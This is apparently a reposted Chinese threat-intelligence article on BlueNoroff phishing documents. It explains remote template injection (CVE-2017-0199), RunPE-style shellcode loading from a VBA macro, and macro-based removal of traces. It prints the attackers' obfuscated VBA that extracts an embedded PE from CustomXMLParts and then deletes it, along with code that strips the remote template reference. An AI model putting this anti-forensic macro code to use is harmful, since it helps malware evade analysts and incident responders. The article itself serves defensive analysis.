攻击技术研判|恶意文档使用宏代码清除痕迹阻碍分析

渗透技巧 2年前 (2022) admin
770 0 0
攻击技术研判|恶意文档使用宏代码清除痕迹阻碍分析

情报背景

APT组织BlueNoroff是一个活动较活跃的组织,曾以加密数字货币为重点展开过攻击。

SECURELIST对该组织近期钓鱼活动中的攻击链和样本进行了分析。本文将对该活动中通过宏代码清除攻击痕迹,增大分析难度的防御规避手法进行分析。 


组织名称

BlueNoroff 

战术标签

防御规避

技术标签

痕迹清除 宏

情报来源

https://securelist.com/the-bluenoroff-cryptocurrency-hunt-is-still-on/105488/


01 攻击技术分析

在该利用宏代码的攻击链中,经历了如下步骤:


1.制作两个文档文件,投放到目标主机上的文档是一个伪装成图像数据实则为PE文件的二进制数据文件,远程文档则包含恶意的VBA宏文件,用于执行恶意代码和启动进程。

2.将包含二进制文件的文档投递到受害者主机,当受害者打开该文档时,会触发远程模板注入漏洞(CVE-2017-0199),执行链接到制作好的远程文档中的远程vba宏代码。

3.该宏代码会读取受害者主机上的文档中包含的二进制文件,注入合法进程并执行恶意代码,在目标主机上植入后门,实现提权、持久化、窃取加密货币等行为,实现恶意攻击。


亮点 利用宏代码清理痕迹

此攻击中主要由远程模板中的宏代码实现攻击操作,技术实现具体如下:


1.恶意代码作者使用类似RunPE开源项目的代码,实现将pe文件转换成宏代码,使其可直接嵌入到宏中并执行。该代码的原理是利用vba调用Windows api ,实现对嵌入在宏中的shellcode分配内存空间和缓冲区,然后通过如CreateThread这类的函数创建新线程执行shellcode,实现在宏中执行shellcode的操作。作者利用该项技术与远程模板相结合,使得在提取和加载本地pe时更加灵活:当本地文档无法与网络连接时,无法加载远程模板,不执行提取和加载操作,则不会有恶意行为产生;当成功与网络连接并加载远程模板时,则可执行恶意操作。就像炸药里的两种成分,只有混合在一起才会发生爆炸。


2.远程模板脚本使用getJPG函数和LoadPicture函数,实现提取和加载在受害者主机的本地文档中的PE文件(伪装成JPG图像文件)的二进制数据,并生成一个notepad.exe新进程实现注入和执行恶意代码。


3.在提取二进制文件和引用远程模板时,存在相关信息和数据内容。而攻击者使用宏代码进行痕迹清理,使得分析人员获取不到远程模板的引用和二进制对象文件,阻碍分析。


在恶意文档攻击中利用宏代码进行攻击痕迹清理的操作较为罕见,下边对该技术亮点进行分析。


在该样本中,本地文档中存储的二进制数据文件会被远程宏代码所提取并在后续中进行利用,执行诸多恶意操作,而攻击者通过代码实现痕迹清理后,分析人员无法获取到二进制数据文件,使得无法进行下一步的具体文件的逆向分析。如下代码所示,在提取过程中逐步使用part.Delete进行删除,实现对二进制数据文件的清理。该过程相关VBA代码和注释如下:

Private Function getJPG()  ' 提取二进制数据函数

Dim sNs As String
Dim sNsPrefix As String
Dim parts As CustomXMLParts
Dim part As CustomXMLPart
Dim nodes As CustomXMLNodes
Dim node As CustomXMLNode
Dim jpgresp() As Byte
Set parts = ActiveDocument.CustomXMLParts

If parts.Count > 0 Then   
    For Each part In parts
        sNs = part.NamespaceURI
        If Len(sNs) <> 0 And StrComp(sNs, "ht" + "tps://support.mic" + "rosoft.co" + "m/imgs", vbTextCompare) = 0 Then
            sNsPrefix = part.NamespaceManager.LookupPrefix(sNs) 
#If Win64 Then         # 根据32/64位选择不同版本
            Set nodes = part.SelectNodes("/" & sNsPrefix & ":" & "contentCon" + "trolStyling" & "/" & sNsPrefix & ":" & "ccStyle" & "[@type=""img1""]")
#Else
            Set nodes = part.SelectNodes("/" & sNsPrefix & ":" & "conte" + "ntControlSt" + "yling" & "/" & sNsPrefix & ":" & "ccStyle" & "[@type=""img2""]")
#End If
            If nodes.Count > 0 Then
                For Each node In nodes  '
 从CustomXMLNode中获取二进制数据,并转换为byte数组
                    jpgresp = String2ByteArray(node.Text)
                    getJPG = jpgresp  ' 赋值给getJPG
                    part.Delete   '
 清理二进制数据文件
                    Exit Function
                Next node
            End If
        End If
    Next part
End If
getJPG = jpgresp
End Function


在执行恶意行为时,需要引用远程模板进行加载,而攻击者同样进行了痕迹清理,将文档中的引用删除后保存文档,相关宏代码如下:

Dim attachtemplate As Object
Set attachtemplate = ActiveDocument.AttachedTemplate
Dim strUrl As String
strUrl = attachtemplate.FullName
...

ActiveDocument.AttachedTemplate = ""  ' 将远程模板引用赋值为空
ActiveDocument.Save                      '
 保存


02 总结

BlueNoroff在攻击中使用RunPE和远程模板注入漏洞相结合的方式,使得攻击更加灵活且隐蔽,不易察觉。而使用宏代码清理痕迹的操作,在文档攻击中较为新颖,也充分利用了office宏修改自身的灵活特性。这种灵活的攻击思路值得蓝军研究人员学习。


攻击技术研判|恶意文档使用宏代码清除痕迹阻碍分析

绿盟科技M01N战队专注于Red Team、APT等高级攻击技术、战术及威胁研究,涉及Web安全、终端安全、AD安全、云安全等相关领域。通过研判现网攻击技术发展方向,以攻促防,为风险识别及威胁对抗提供决策支撑,全面提升安全防护能力。


攻击技术研判|恶意文档使用宏代码清除痕迹阻碍分析

M01N Team

聚焦高级攻防对抗热点技术

绿盟科技蓝军技术研究战队


原文始发于微信公众号(M01N Team):攻击技术研判|恶意文档使用宏代码清除痕迹阻碍分析

版权声明:admin 发表于 2022年1月17日 上午10:00。
转载请注明:攻击技术研判|恶意文档使用宏代码清除痕迹阻碍分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...